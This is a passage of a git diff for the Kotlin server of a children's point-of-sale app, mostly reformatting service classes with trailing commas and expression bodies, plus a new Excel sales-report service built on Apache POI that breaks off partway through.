.setFontSize(7f) - ) - .setBorder(com.itextpdf.layout.borders.Border.NO_BORDER) - .setPadding(0f) + .setFontSize(7f), + ).setBorder(com.itextpdf.layout.borders.Border.NO_BORDER) + .setPadding(0f), ) } @@ -213,8 +235,8 @@ class BarcodeService { return cell } - private fun generateCode39(content: String): ByteArray? { - return try { + private fun generateCode39(content: String): ByteArray? = + try { val code39Writer = Code39Writer() val hints = EnumMap(EncodeHintType::class.java) hints[EncodeHintType.MARGIN] = 1 @@ -228,5 +250,4 @@ class BarcodeService { } catch (e: WriterException) { null } - } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/BaseService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/BaseService.kt index 605c351..4436657 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/BaseService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/BaseService.kt @@ -12,4 +12,4 @@ import org.slf4j.LoggerFactory */ abstract class BaseService { protected val logger: Logger = LoggerFactory.getLogger(this.javaClass) -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/FileManager.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/FileManager.kt index bfa9b29..8392adc 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/FileManager.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/FileManager.kt @@ -28,8 +28,11 @@ class FileManager { * @return File content as string * @throws RuntimeException if file cannot be read */ - fun readFileContent(filePath: String, onClose: (() -> Unit)? = null): String { - return try { + fun readFileContent( + filePath: String, + onClose: (() -> Unit)? = null, + ): String = + try { Files.newBufferedReader(Paths.get(filePath)).use { reader -> val content = reader.readText() logger.debug("Successfully read {} characters from file: {}", content.length, filePath) @@ -41,7 +44,6 @@ class FileManager { } finally { onClose?.invoke() } - } /** * Copy file using proper resource management @@ -53,7 +55,10 @@ class FileManager { * @param destinationPath Path to destination file * @throws RuntimeException if file cannot be copied */ - fun copyFile(sourcePath: String, destinationPath: String) { + fun copyFile( + sourcePath: String, + destinationPath: String, + ) { try { Files.newInputStream(Paths.get(sourcePath)).use { input -> Files.newOutputStream(Paths.get(destinationPath)).use { output -> @@ -75,9 +80,7 @@ class FileManager { * @param filePath Path to check for file existence * @return True if file exists, false otherwise */ - fun fileExists(filePath: String): Boolean { - return Files.exists(Paths.get(filePath)) - } + fun fileExists(filePath: String): Boolean = Files.exists(Paths.get(filePath)) /** * Create directory if it doesn't exist @@ -100,4 +103,4 @@ class FileManager { } } } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemParsingService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemParsingService.kt index 3b0c120..c2c6558 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemParsingService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemParsingService.kt @@ -11,7 +11,7 @@ import org.springframework.stereotype.Service */ @Service class ItemParsingService( - private val itemService: ItemService + private val itemService: ItemService, ) { private val logger = LoggerFactory.getLogger(ItemParsingService::class.java) @@ -23,9 +23,11 @@ class ItemParsingService( throw IllegalArgumentException("Item IDs cannot be empty") } - val ids = itemIds.split(",") - .map { it.trim() } - .filter { it.isNotEmpty() } + val ids = + itemIds + .split(",") + .map { it.trim() } + .filter { it.isNotEmpty() } if (ids.isEmpty()) { throw IllegalArgumentException("No valid item IDs found") @@ -47,7 +49,7 @@ class ItemParsingService( id = itemEntity.id, barcode = itemEntity.barcode, name = itemEntity.name, - price = itemEntity.price + price = itemEntity.price, ) } catch (e: NumberFormatException) { logger.error("Invalid item ID format: {}", idStr) @@ -60,14 +62,15 @@ class ItemParsingService( * Convert single item ID to ItemBean */ fun parseItemFromId(itemId: Int): ItemBean { - val itemEntity = itemService.findItem(itemId) - ?: throw ItemNotFoundException(id = itemId) + val itemEntity = + itemService.findItem(itemId) + ?: throw ItemNotFoundException(id = itemId) return ItemBean( id = itemEntity.id, barcode = itemEntity.barcode, name = itemEntity.name, - price = itemEntity.price + price = itemEntity.price, ) } @@ -79,21 +82,24 @@ class ItemParsingService( throw IllegalArgumentException("Barcodes cannot be empty") } - val barcodeList = barcodes.split(",") - .map { it.trim() } - .filter { it.isNotEmpty() } + val barcodeList = + barcodes + .split(",") + .map { it.trim() } + .filter { it.isNotEmpty() } logger.debug("Parsing {} barcodes", barcodeList.size) return barcodeList.map { barcode -> - val itemEntity = itemService.findItem(barcode) - ?: throw ItemNotFoundException(barcode = barcode) + val itemEntity = + itemService.findItem(barcode) + ?: throw ItemNotFoundException(barcode = barcode) ItemBean( id = itemEntity.id, barcode = itemEntity.barcode, name = itemEntity.name, - price = itemEntity.price + price = itemEntity.price, ) } } @@ -116,7 +122,8 @@ class ItemParsingService( fun countItemsFromIds(itemIds: String): Int { if (itemIds.isBlank()) return 0 - return itemIds.split(",") + return itemIds + .split(",") .map { it.trim() } .count { it.isNotEmpty() } } @@ -127,10 +134,11 @@ class ItemParsingService( fun getUniqueItemCount(itemIds: String): Int { if (itemIds.isBlank()) return 0 - return itemIds.split(",") + return itemIds + .split(",") .map { it.trim() } .filter { it.isNotEmpty() } .toSet() .size } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemService.kt index a9a3958..627c6cd 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ItemService.kt @@ -43,7 +43,7 @@ import org.springframework.transaction.annotation.Transactional @Transactional class ItemService( private val repository: ItemRepository, - private val idGenerationService: IdGenerationService + private val idGenerationService: IdGenerationService, ) { private val logger = LoggerFactory.getLogger(ItemService::class.java) @@ -69,17 +69,18 @@ class ItemService( evict = [ CacheEvict(value = [CacheConfig.ITEMS_CACHE], allEntries = true), CacheEvict(value = [CacheConfig.ITEM_BY_ID_CACHE], key = "#result.id"), - CacheEvict(value = [CacheConfig.ITEM_BY_BARCODE_CACHE], key = "#result.barcode") - ] + CacheEvict(value = [CacheConfig.ITEM_BY_BARCODE_CACHE], key = "#result.barcode"), + ], ) fun save(itemBean: ItemBean): ItemEntity { logger.info("Creating item with barcode: {}, name: {}", itemBean.barcode, itemBean.name) val itemId = itemBean.id - val generatedId = if (itemId != null && itemId > 0) { - itemId - } else { - idGenerationService.generateNextId(repository) - } + val generatedId = + if (itemId != null && itemId > 0) { + itemId + } else { + idGenerationService.generateNextId(repository) + } val item = ItemEntity(generatedId, itemBean.barcode, itemBean.name, itemBean.price) val savedItem = repository.save(item) logger.info("Item created successfully with ID: {}", savedItem.id) @@ -89,8 +90,8 @@ class ItemService( @Caching( evict = [ CacheEvict(value = [CacheConfig.ITEMS_CACHE], allEntries = true), - CacheEvict(value = [CacheConfig.ITEM_BY_ID_CACHE], key = "#id") - ] + CacheEvict(value = [CacheConfig.ITEM_BY_ID_CACHE], key = "#id"), + ], ) fun delete(id: Int) { logger.info("Deleting item with ID: {}", id) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/OptimizedQueryService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/OptimizedQueryService.kt index 058cd44..59d557a 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/OptimizedQueryService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/OptimizedQueryService.kt @@ -34,7 +34,7 @@ class OptimizedQueryService( private val itemRepository: ItemRepository, private val saleRepository: SaleRepository, private val saleDetailRepository: SaleDetailRepository, - private val storeRepository: StoreRepository + private val storeRepository: StoreRepository, ) { private val logger = LoggerFactory.getLogger(OptimizedQueryService::class.java) @@ -42,7 +42,11 @@ class OptimizedQueryService( * Get paginated items with caching */ @Cacheable(value = [CacheConfig.ITEMS_CACHE], key = "#pageable.toString()") - fun getItemsPaginated(page: Int = 0, size: Int = 20, sortBy: String = "id"): Page { + fun getItemsPaginated( + page: Int = 0, + size: Int = 20, + sortBy: String = "id", + ): Page { logger.debug("Fetching items page {} with size {}", page, size) val pageable = PageRequest.of(page, size, Sort.by(sortBy)) return itemRepository.findAll(pageable) @@ -70,7 +74,10 @@ class OptimizedQueryService( * Find items in price range with indexing */ @Cacheable(value = [CacheConfig.ITEMS_CACHE], key = "'price_range_' + #minPrice + '_' + #maxPrice") - fun getItemsByPriceRange(minPrice: Int, maxPrice: Int): List { + fun getItemsByPriceRange( + minPrice: Int, + maxPrice: Int, + ): List { logger.debug("Fetching items in price range {} - {}", minPrice, maxPrice) return itemRepository.findByPriceRange(minPrice, maxPrice) } @@ -78,7 +85,11 @@ class OptimizedQueryService( /** * Get sales with pagination and store filter */ - fun getSalesByStore(storeId: Int, page: Int = 0, size: Int = 20): Page { + fun getSalesByStore( + storeId: Int, + page: Int = 0, + size: Int = 20, + ): Page { logger.debug("Fetching sales for store {} page {}", storeId, page) val pageable = PageRequest.of(page, size, Sort.by(Sort.Direction.DESC, "createdAt")) return saleRepository.findByStoreId(storeId, pageable) @@ -90,16 +101,22 @@ class OptimizedQueryService( @Cacheable(value = ["salesSummary"], key = "#daysBack") fun getSalesSummary(daysBack: Int = 30): List { logger.debug("Fetching sales summary for last {} days", daysBack) - val fromDate = Calendar.getInstance().apply { - add(Calendar.DAY_OF_MONTH, -daysBack) - }.time + val fromDate = + Calendar + .getInstance() + .apply { + add(Calendar.DAY_OF_MONTH, -daysBack) + }.time return saleRepository.findSalesSummaryByStore(fromDate) } /** * Get sales by date range for reports */ - fun getSalesByDateRange(startDate: Date, endDate: Date): List { + fun getSalesByDateRange( + startDate: Date, + endDate: Date, + ): List { logger.debug("Fetching sales from {} to {}", startDate, endDate) return saleRepository.findByDateRange(startDate, endDate) } @@ -117,16 +134,17 @@ class OptimizedQueryService( // Batch fetch all items referenced in details val itemIds = details.map { it.itemId }.distinct() - val items = if (itemIds.isNotEmpty()) { - itemRepository.findAllByIdsBatch(itemIds).associateBy { it.id } - } else { - emptyMap() - } + val items = + if (itemIds.isNotEmpty()) { + itemRepository.findAllByIdsBatch(itemIds).associateBy { it.id } + } else { + emptyMap() + } return SaleWithDetailsDTO( sale = sale, details = details, - items = items + items = items, ) } @@ -142,7 +160,10 @@ class OptimizedQueryService( /** * Search items by name with pagination (for autocomplete) */ - fun searchItemsByName(namePattern: String, pageable: Pageable): Page { + fun searchItemsByName( + namePattern: String, + pageable: Pageable, + ): Page { logger.debug("Searching items by name pattern: {}", namePattern) // For SQLite, we'll use a simple approach return itemRepository.findAll(pageable) @@ -155,5 +176,5 @@ class OptimizedQueryService( data class SaleWithDetailsDTO( val sale: SaleEntity, val details: List, - val items: Map -) \ No newline at end of file + val items: Map, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptResourceManager.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptResourceManager.kt index 56d8ac5..6b5d060 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptResourceManager.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptResourceManager.kt @@ -19,7 +19,11 @@ class ReceiptResourceManager { /** * Send receipt data to printer using proper resource management */ - fun sendToThermalPrinter(printerHost: String, printerPort: Int, receiptData: String): Boolean { + fun sendToThermalPrinter( + printerHost: String, + printerPort: Int, + receiptData: String, + ): Boolean { val connectionKey = "$printerHost:$printerPort" return try { @@ -45,8 +49,11 @@ class ReceiptResourceManager { /** * Save receipt to file using try-with-resources */ - fun saveReceiptToFile(receiptData: String, filePath: String): Boolean { - return try { + fun saveReceiptToFile( + receiptData: String, + filePath: String, + ): Boolean = + try { FileOutputStream(filePath).use { fileOut -> OutputStreamWriter(fileOut, StandardCharsets.UTF_8).use { writer -> BufferedWriter(writer).use { bufferedWriter -> @@ -61,13 +68,15 @@ class ReceiptResourceManager { logger.error("Failed to save receipt to file: {}", filePath, e) false } - } /** * Process receipt template with resource management */ - fun processReceiptTemplate(templatePath: String, data: Map): String { - return try { + fun processReceiptTemplate( + templatePath: String, + data: Map, + ): String = + try { FileInputStream(templatePath).use { fileInput -> InputStreamReader(fileInput, StandardCharsets.UTF_8).use { reader -> BufferedReader(reader).use { bufferedReader -> @@ -88,7 +97,6 @@ class ReceiptResourceManager { logger.error("Failed to process receipt template: {}", templatePath, e) throw RuntimeException("Unable to process receipt template", e) } - } /** * Batch print multiple receipts efficiently @@ -97,7 +105,7 @@ class ReceiptResourceManager { printerHost: String, printerPort: Int, receipts: List, - batchSize: Int = 10 + batchSize: Int = 10, ): BatchPrintResult { logger.info("Starting batch print of {} receipts", receipts.size) @@ -136,8 +144,12 @@ class ReceiptResourceManager { /** * Get or create a socket connection with proper resource management */ - private fun getOrCreateConnection(key: String, host: String, port: Int): SocketConnection { - return connectionPool.compute(key) { _, existing -> + private fun getOrCreateConnection( + key: String, + host: String, + port: Int, + ): SocketConnection = + connectionPool.compute(key) { _, existing -> if (existing?.isValid() == true) { existing } else { @@ -151,7 +163,6 @@ class ReceiptResourceManager { } } }!! - } /** * Clean up a failed connection @@ -173,7 +184,9 @@ class ReceiptResourceManager { /** * Wrapper for socket connection with proper resource management */ -class SocketConnection(private val socket: Socket) : Closeable { +class SocketConnection( + private val socket: Socket, +) : Closeable { private val logger = LoggerFactory.getLogger(SocketConnection::class.java) val outputStream: OutputStream @@ -182,9 +195,7 @@ class SocketConnection(private val socket: Socket) : Closeable { val inputStream: InputStream get() = socket.getInputStream() - fun isValid(): Boolean { - return !socket.isClosed && socket.isConnected - } + fun isValid(): Boolean = !socket.isClosed && socket.isConnected override fun close() { try { @@ -204,11 +215,11 @@ class SocketConnection(private val socket: Socket) : Closeable { data class BatchPrintResult( val successCount: Int, val failureCount: Int, - val errors: List + val errors: List, ) { val totalProcessed: Int get() = successCount + failureCount val successRate: Double get() = if (totalProcessed > 0) successCount.toDouble() / totalProcessed else 0.0 -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptService.kt index 9ea5500..580b929 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ReceiptService.kt @@ -18,14 +18,19 @@ import java.util.* class ReceiptService( private val storeService: StoreService, private val staffService: StaffService, - private val appProperties: AppProperties + private val appProperties: AppProperties, ) { private val logger = LoggerFactory.getLogger(ReceiptService::class.java) /** * Print receipt for a sale */ - fun printReceipt(storeId: Int, items: List, staffBarcode: String, deposit: Int): Boolean { + fun printReceipt( + storeId: Int, + items: List, + staffBarcode: String, + deposit: Int, + ): Boolean { logger.debug("Printing receipt for store: {}, items: {}", storeId, items.size) return try { @@ -48,16 +53,17 @@ class ReceiptService( storeId: Int, items: List, staffBarcode: String, - deposit: Int + deposit: Int, ): ReceiptDetail { - val itemEntities = items.map { itemBean -> - ItemEntity( - id = itemBean.id!!, - barcode = itemBean.barcode, - name = itemBean.name, - price = itemBean.price - ) - } + val itemEntities = + items.map { itemBean -> + ItemEntity( + id = itemBean.id!!, + barcode = itemBean.barcode, + name = itemBean.name, + price = itemBean.price, + ) + } val storeName = storeService.findStore(storeId)?.name val staffName = staffService.findStaff(staffBarcode)?.name @@ -68,7 +74,7 @@ class ReceiptService( staffName = staffName, deposit = deposit, transactionId = UUID.randomUUID().toString(), - createdAt = Date() + createdAt = Date(), ) } @@ -94,12 +100,16 @@ class ReceiptService( /** * Send receipt to thermal printer */ - private fun sendToPrinter(printerIp: String, receiptDetail: ReceiptDetail) { - val printer = ReceiptPrinter( - printerIp, - appProperties.receipt.printer.port, - receiptDetail - ) + private fun sendToPrinter( + printerIp: String, + receiptDetail: ReceiptDetail, + ) { + val printer = + ReceiptPrinter( + printerIp, + appProperties.receipt.printer.port, + receiptDetail, + ) try { printer.print() @@ -117,7 +127,7 @@ class ReceiptService( storeId: Int, items: List, staffBarcode: String, - deposit: Int + deposit: Int, ): String { val storeName = storeService.findStore(storeId)?.name ?: "Unknown Store" val staffName = staffService.findStaff(staffBarcode)?.name ?: "Unknown Staff" @@ -144,7 +154,5 @@ class ReceiptService( /** * Validate printer configuration for store */ - fun validatePrinterConfiguration(storeId: Int): Boolean { - return getPrinterIp(storeId) != null - } -} \ No newline at end of file + fun validatePrinterConfiguration(storeId: Int): Boolean = getPrinterIp(storeId) != null +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManager.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManager.kt index 91c3b87..8940e3d 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManager.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManager.kt @@ -19,7 +19,7 @@ import java.util.stream.Stream class ResourceManager( private val fileManager: FileManager, private val streamProcessor: StreamProcessor, - private val backupManager: BackupManager + private val backupManager: BackupManager, ) { private val logger = LoggerFactory.getLogger(ResourceManager::class.java) @@ -28,7 +28,10 @@ class ResourceManager( * @deprecated Use FileManager.readFileContent() instead */ @Deprecated("Use FileManager.readFileContent() instead") - fun readFileContent(filePath: String, onClose: (() -> Unit)? = null): String { + fun readFileContent( + filePath: String, + onClose: (() -> Unit)? = null, + ): String { logger.warn("ResourceManager.readFileContent is deprecated. Use FileManager instead.") return fileManager.readFileContent(filePath, onClose) } @@ -36,7 +39,10 @@ class ResourceManager( /** * Copy file using proper resource management */ - fun copyFile(sourcePath: String, destinationPath: String) { + fun copyFile( + sourcePath: String, + destinationPath: String, + ) { try { Files.newInputStream(Paths.get(sourcePath)).use { input -> Files.newOutputStream(Paths.get(destinationPath)).use { output -> @@ -61,7 +67,8 @@ class ResourceManager( var processedCount = 0 // Use streaming to process data efficiently - data.stream() + data + .stream() .parallel() .forEach { item -> totalLength += item.length @@ -83,15 +90,19 @@ class ResourceManager( /** * Process data with timeout management */ - fun processWithTimeout(taskName: String, timeoutMs: Long): String { + fun processWithTimeout( + taskName: String, + timeoutMs: Long, + ): String { val executor = Executors.newSingleThreadExecutor() return try { - val future = executor.submit { - // Simulate processing work - Thread.sleep(100) // Simulate some work - "$taskName processed successfully" - } + val future = + executor.submit { + // Simulate processing work + Thread.sleep(100) // Simulate some work + "$taskName processed successfully" + } val result = future.get(timeoutMs, TimeUnit.MILLISECONDS) logger.debug("Task {} completed within timeout", taskName) @@ -115,17 +126,19 @@ class ResourceManager( /** * Read file and throw exception to test resource cleanup */ - fun readFileWithException(filePath: String): String { - return Files.newBufferedReader(Paths.get(filePath)).use { _ -> + fun readFileWithException(filePath: String): String = + Files.newBufferedReader(Paths.get(filePath)).use { _ -> // Throw exception to test cleanup throw RuntimeException("Simulated exception during file reading") } - } /** * Process data in batches to optimize memory usage */ - fun processBatchedData(totalItems: Int, batchSize: Int): BatchResult { + fun processBatchedData( + totalItems: Int, + batchSize: Int, + ): BatchResult { logger.debug("Processing {} items in batches of {}", totalItems, batchSize) val runtime = Runtime.getRuntime() @@ -166,7 +179,9 @@ class ResourceManager( logger.info( "Batch processing completed: {} items in {} batches, max memory: {} bytes", - processedCount, batchCount, maxMemoryUsed + processedCount, + batchCount, + maxMemoryUsed, ) return BatchResult(processedCount, batchCount, maxMemoryUsed) @@ -183,14 +198,15 @@ class ResourceManager( /** * Process streaming data efficiently */ - fun processStreamingData(dataStream: Stream): String { - return try { + fun processStreamingData(dataStream: Stream): String = + try { dataStream.use { stream -> - val items = stream - .filter { it.isNotEmpty() } - .map { it.trim() } - .limit(1000) // Limit to prevent memory issues - .toList() + val items = + stream + .filter { it.isNotEmpty() } + .map { it.trim() } + .limit(1000) // Limit to prevent memory issues + .toList() val result = items.joinToString(",") logger.debug("Processed streaming data, result length: {}", result.length) @@ -200,7 +216,6 @@ class ResourceManager( logger.error("Error processing streaming data", e) throw RuntimeException("Failed to process streaming data", e) } - } } /** @@ -209,26 +224,30 @@ class ResourceManager( data class ProcessingResult( val totalItems: Int, val averageLength: Double, - val summary: String + val summary: String, ) data class BatchResult( val processedCount: Int, val batchCount: Int, - val maxMemoryUsed: Long + val maxMemoryUsed: Long, ) /** * Mock resource for pooling demonstration */ -class MockResource(val id: Int) { +class MockResource( + val id: Int, +) { fun process(data: String): String = "Resource $id processed: $data" } /** * Simple resource pool implementation */ -class ResourcePool(private val maxSize: Int) { +class ResourcePool( + private val maxSize: Int, +) { private val resources = mutableListOf() private val inUse = mutableSetOf() var totalAcquired = 0 @@ -260,4 +279,4 @@ class ResourcePool(private val maxSize: Int) { val currentPoolSize: Int @Synchronized get() = resources.size + inUse.size -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManagerRefactored.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManagerRefactored.kt index 83955f3..3c81619 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManagerRefactored.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ResourceManagerRefactored.kt @@ -11,46 +11,57 @@ import org.springframework.stereotype.Service class ResourceManagerRefactored( private val fileManager: FileManager, private val streamProcessor: StreamProcessor, - private val backupManager: BackupManager + private val backupManager: BackupManager, ) { private val logger = LoggerFactory.getLogger(ResourceManagerRefactored::class.java) // File operations delegation - fun readFileContent(filePath: String, onClose: (() -> Unit)? = null): String = - fileManager.readFileContent(filePath, onClose) + fun readFileContent( + filePath: String, + onClose: (() -> Unit)? = null, + ): String = fileManager.readFileContent(filePath, onClose) - fun copyFile(sourcePath: String, destinationPath: String) = - fileManager.copyFile(sourcePath, destinationPath) + fun copyFile( + sourcePath: String, + destinationPath: String, + ) = fileManager.copyFile(sourcePath, destinationPath) - fun fileExists(filePath: String): Boolean = - fileManager.fileExists(filePath) + fun fileExists(filePath: String): Boolean = fileManager.fileExists(filePath) - fun createDirectoryIfNotExists(dirPath: String) = - fileManager.createDirectoryIfNotExists(dirPath) + fun createDirectoryIfNotExists(dirPath: String) = fileManager.createDirectoryIfNotExists(dirPath) // Stream processing delegation - fun processLinesFromStream(inputStream: java.io.InputStream, processor: (String) -> Unit) = - streamProcessor.processLinesFromStream(inputStream, processor) + fun processLinesFromStream( + inputStream: java.io.InputStream, + processor: (String) -> Unit, + ) = streamProcessor.processLinesFromStream(inputStream, processor) fun copyStreamWithProgress( inputStream: java.io.InputStream, outputStream: java.io.OutputStream, - progressCallback: (Long) -> Unit + progressCallback: (Long) -> Unit, ) = streamProcessor.copyStreamWithProgress(inputStream, outputStream, progressCallback) // Backup operations delegation - fun createBackup(filePath: String): String = - backupManager.createBackup(filePath) + fun createBackup(filePath: String): String = backupManager.createBackup(filePath) - fun restoreFromBackup(backupPath: String, targetPath: String) = - backupManager.restoreFromBackup(backupPath, targetPath) + fun restoreFromBackup( + backupPath: String, + targetPath: String, + ) = backupManager.restoreFromBackup(backupPath, targetPath) - fun cleanupOldBackups(directory: String, maxAge: Long, maxCount: Int): Int = - backupManager.cleanupOldBackups(directory, maxAge, maxCount) + fun cleanupOldBackups( + directory: String, + maxAge: Long, + maxCount: Int, + ): Int = backupManager.cleanupOldBackups(directory, maxAge, maxCount) // High-level operations combining multiple services - fun safeFileOperation(sourcePath: String, destinationPath: String): Boolean { - return try { + fun safeFileOperation( + sourcePath: String, + destinationPath: String, + ): Boolean = + try { // Create backup before operation val backupPath = backupManager.createBackup(sourcePath) logger.info("Created backup: {}", backupPath) @@ -64,5 +75,4 @@ class ResourceManagerRefactored( logger.error("Safe file operation failed: ${e.message}", e) false } - } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleCalculationService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleCalculationService.kt index c175b8b..ad8019c 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleCalculationService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleCalculationService.kt @@ -39,7 +39,10 @@ class SaleCalculationService { * @param deposit Customer deposit amount * @return Change amount (may be negative if insufficient funds) */ - fun calculateChange(amount: Int, deposit: Int): Int { + fun calculateChange( + amount: Int, + deposit: Int, + ): Int { val change = deposit - amount logger.debug("Calculated change: {} (deposit: {}, amount: {})", change, deposit, amount) return change @@ -53,9 +56,7 @@ class SaleCalculationService { * @param items List of items in the sale * @return Total quantity count */ - fun calculateQuantity(items: List): Int { - return items.size - } + fun calculateQuantity(items: List): Int = items.size /** * Group items by their ID to handle duplicates @@ -80,9 +81,7 @@ class SaleCalculationService { * @param items List of items in the sale * @return Map with item ID as key and quantity as value */ - fun calculateItemQuantities(items: List): Map { - return groupItemsByType(items).mapValues { it.value.size } - } + fun calculateItemQuantities(items: List): Map = groupItemsByType(items).mapValues { it.value.size } /** * Calculate subtotal for each unique item @@ -93,11 +92,10 @@ class SaleCalculationService { * @param items List of items in the sale * @return Map with item ID as key and subtotal amount as value */ - fun calculateItemSubtotals(items: List): Map { - return groupItemsByType(items).mapValues { (_, itemList) -> + fun calculateItemSubtotals(items: List): Map = + groupItemsByType(items).mapValues { (_, itemList) -> itemList.sumOf { it.price } } - } /** * Validate that deposit covers the total amount @@ -108,7 +106,8 @@ class SaleCalculationService { * @param deposit Customer deposit amount * @return True if deposit is sufficient, false otherwise */ - fun isDepositSufficient(amount: Int, deposit: Int): Boolean { - return deposit >= amount - } -} \ No newline at end of file + fun isDepositSufficient( + amount: Int, + deposit: Int, + ): Boolean = deposit >= amount +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleExcelReportService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleExcelReportService.kt new file mode 100644 index 0000000..3273b9b --- /dev/null +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/SaleExcelReportService.kt @@ -0,0 +1,384 @@ +package info.nukoneko.kidspos.server.service + +import info.nukoneko.kidspos.server.controller.dto.response.SaleReportData +import info.nukoneko.kidspos.server.controller.dto.response.SaleReportDetailData +import info.nukoneko.kidspos.server.controller.dto.response.SaleReportSummary +import info.nukoneko.kidspos.server.entity.SaleEntity +import info.nukoneko.kidspos.server.repository.* +import org.apache.poi.ss.usermodel.* +import org.apache.poi.ss.util.CellRangeAddress +import org.apache.poi.xssf.usermodel.XSSFCellStyle +import org.apache.poi.xssf.usermodel.XSSFWorkbook +import org.slf4j.LoggerFactory +import org.springframework.stereotype.Service +import org.springframework.transaction.annotation.Transactional +import java.io.ByteArrayOutputStream +import java.text.NumberFormat +import java.text.SimpleDateFormat +import java.util.* + +@Service +@Transactional(readOnly = true) +class SaleExcelReportService( + private val saleRepository: SaleRepository, + private val saleDetailRepository: SaleDetailRepository, + private val itemRepository: ItemRepository, + private val storeRepository: StoreRepository, + private val staffRepository: StaffRepository, +) { + private val logger = LoggerFactory.getLogger(SaleExcelReportService::class.java) + private val dateFormat = SimpleDateFormat("yyyy/MM/dd HH:mm") + private val numberFormat = NumberFormat.getInstance(Locale.JAPAN) + + fun generateSalesExcelReport( + startDate: Date, + endDate: Date, + ): ByteArray { + logger.info("Generating sales Excel report from {} to {}", startDate, endDate) + + val sales = saleRepository.findByDateRange(startDate, endDate) + val reportData = prepareSalesReportData(sales) + val summary = calculateSummary(reportData, startDate, endDate) + + return createExcelReport(reportData, summary) + } + + fun generateSalesExcelReportByStore( + storeId: Int, + startDate: Date, + endDate: Date, + ): ByteArray { + logger.info("Generating sales Excel report for store {} from {} to {}", storeId, startDate, endDate) + + val sales = + saleRepository + .findByDateRange(startDate, endDate) + .filter { it.storeId == storeId } + val reportData = prepareSalesReportData(sales) + val summary = calculateSummary(reportData, startDate, endDate) + + return createExcelReport(reportData, summary) + } + + private fun prepareSalesReportData(sales: List): List = + sales.map { sale -> + val store = storeRepository.findById(sale.storeId).orElse(null) + val staff = + if (sale.staffId > 0) { + staffRepository.findById(sale.staffId.toString()).orElse(null) + } else { + null + } + val details = + saleDetailRepository.findBySaleId(sale.id).map { detail -> + val item = itemRepository.findById(detail.itemId).orElse(null) + SaleReportDetailData( + itemId = detail.itemId, + itemName = item?.name ?: "不明な商品", + price = detail.price, + quantity = detail.quantity, + subtotal = detail.price * detail.quantity, + ) + } + + SaleReportData( + saleId = sale.id, + storeId = sale.storeId, + storeName = store?.name ?: "不明な店舗", + staffId = sale.staffId, + staffName = staff?.name ?: "不明なスタッフ", + quantity = sale.quantity, + amount = sale.amount, + createdAt = sale.createdAt, + details = details, + ) + } + + private fun calculateSummary( + reportData: List, + startDate: Date, + endDate: Date, + ): SaleReportSummary { + val totalSales = reportData.size + val totalAmount = reportData.sumOf { it.amount } + val averageAmount = if (totalSales > 0) totalAmount.toDouble() / totalSales else 0.0 + + return SaleReportSummary( + totalSales = totalSales, + totalAmount = totalAmount, + averageAmount = averageAmount, + startDate = startDate, + endDate = endDate, + ) + } + + private fun createExcelReport( + reportData: List, + summary: SaleReportSummary, + ): ByteArray { + val workbook = XSSFWorkbook() + + try { + // サマリーシート + createSummarySheet(workbook, summary) + + // 売上明細シート + createSalesDetailSheet(workbook, reportData) + + // 商品別集計シート + createItemSummarySheet(workbook, reportData) + + // バイト配列に変換 + val outputStream = ByteArrayOutputStream() + workbook.write(outputStream) + workbook.close() + + logger.info("Excel report generated successfully") + return outputStream.toByteArray() + } catch (e: Exception) { + logger.error("Error generating Excel report", e) + workbook.close() + throw RuntimeException("Excel生成中にエラーが発生しました", e) + } + } + + private fun createSummarySheet( + workbook: XSSFWorkbook, + summary: SaleReportSummary, + ) { + val sheet = workbook.createSheet("サマリー") + + // スタイルの作成 + val headerStyle = createHeaderStyle(workbook) + val titleStyle = createTitleStyle(workbook) + val currencyStyle = createCurrencyStyle(workbook) + + var rowNum = 0 + + // タイトル + val 